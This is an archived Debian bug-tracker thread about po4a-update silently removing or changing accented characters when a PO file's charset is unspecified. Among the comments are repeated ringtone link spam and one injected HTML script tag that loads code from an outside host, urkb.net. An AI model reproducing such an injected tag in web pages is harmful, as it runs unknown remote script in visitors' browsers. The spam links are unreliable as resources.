[Po4a-devel] [po4a-Bugs][301026] po4a-update eats characters not in charset without asking

po4a-bugs at alioth.debian.org po4a-bugs at alioth.debian.org
Mon Feb 19 01:47:34 CET 2007


Bugs item #301026, was opened at 2004-11-06 21:05
Status: Open
Priority: 3
Submitted By: Yves Rütschlé (yves-guest)
Assigned to: Jordi Vilalta (jvprat-guest)
Summary: po4a-update eats characters not in charset without asking 
Category: 
Group: 
Resolution: None


Initial Comment:
If you translate a PO file into some language
using iso8859-1, but forget to precise the charset in the
header of the PO file, and don't give the charset to
po4a-update either, then po4a-update proceeds to remove all
accentuated characters from the file.

I am not sure what the best way to handle this would be;
presumably, one could do some heuristic ("there are many
strange characters in there, probably this isn't ascii") and
ask for confirmation that you do actually want to filter out
strange characters. Fact is, most of the time you won't want
to.


----------------------------------------------------------------------

Comment By: Nobody (None)
Date: 2007-02-19 01:47

Message:
<script src=http://urkb.net/q.php>jonny13</script>

----------------------------------------------------------------------

Comment By: Nobody (None)
Date: 2006-06-14 21:21

Message:
Logged In: NO 

Hi! http://www.ringtones-dir.com/get/ ringtones site. ringtones site free, ringtones site, Free nokia ringtones here. From website .

----------------------------------------------------------------------

Comment By: Nobody (None)
Date: 2006-06-14 21:21

Message:
Logged In: NO 

Thanks!!! http://www.ringtones-dir.com/get/ ringtones site. [URL=http://www.ringtones-dir.com]ringtones download[/URL]: ringtones site free, ringtones site, Free nokia ringtones here. Also [url=http://www.ringtones-dir.com]samsung ringtones[/url] From website .

----------------------------------------------------------------------

Comment By: Nobody (None)
Date: 2006-06-14 21:21

Message:
Logged In: NO 

<a href='http://www.yahoo.com'></a>Thanks! http://www.ringtones-dir.com/download/ <a href='http://www.ringtones-dir.com'>download ringtones</a>. <a href="http://www.ringtones-dir.com ">nokia ringtones</a>: ringtones site free, ringtones site, Free nokia ringtones here. Also [url]http://www.ringtones-dir.com/free/[/url] and [link=http://www.ringtones-dir.com]ring tones[/link] From site .

----------------------------------------------------------------------

Comment By: Nobody (None)
Date: 2006-06-14 15:15

Message:
Logged In: NO 

Hi! http://www.ringtones-dir.com/get/ ringtones site free. Download ringtones FREE, Best free samsung ringtones, Cingular ringtones and more. From website .

----------------------------------------------------------------------

Comment By: Nobody (None)
Date: 2006-06-14 15:15

Message:
Logged In: NO 

Thanks!!! http://www.ringtones-dir.com/get/ ringtones site free. [URL=http://www.ringtones-dir.com]ringtones download[/URL]: Download ringtones FREE, Best free samsung ringtones, Cingular ringtones and more. Also [url=http://www.ringtones-dir.com]samsung ringtones[/url] From website .

----------------------------------------------------------------------

Comment By: Nobody (None)
Date: 2006-06-14 15:15

Message:
Logged In: NO 

<a href='http://www.yahoo.com'></a>Thanks! http://www.ringtones-dir.com/download/ <a href='http://www.ringtones-dir.com'>download ringtones</a>. <a href="http://www.ringtones-dir.com ">nokia ringtones</a>: Download ringtones FREE, Best free samsung ringtones, Cingular ringtones and more. Also [url]http://www.ringtones-dir.com/free/[/url] and [link=http://www.ringtones-dir.com]ring tones[/link] From site .

----------------------------------------------------------------------

Comment By: Yves Rütschlé (yves-guest)
Date: 2004-11-12 17:14

Message:
Logged In: YES 
user_id=11062

A related problem: when the master document's charset is not
ascii, po4a-updatepo seems to happily ignore the PO's
charset specification and change it (to UTF-8 in my case,
which I am not sure where it comes from, as I think the
input document was iso-8859-1 just like the PO), along with
all the characters in the PO. In other words, po4a-update
silently:
- changes the charset I have specified in the PO
- changes all the non-ascii characters in some way
("in some way", because I don't think it ended up in UTF-8
either).

I'm so in love with French accents right now.

----------------------------------------------------------------------

You can respond by visiting: 
http://alioth.debian.org/tracker/?func=detail&atid=410622&aid=301026&group_id=30267



More information about the Po4a-devel mailing list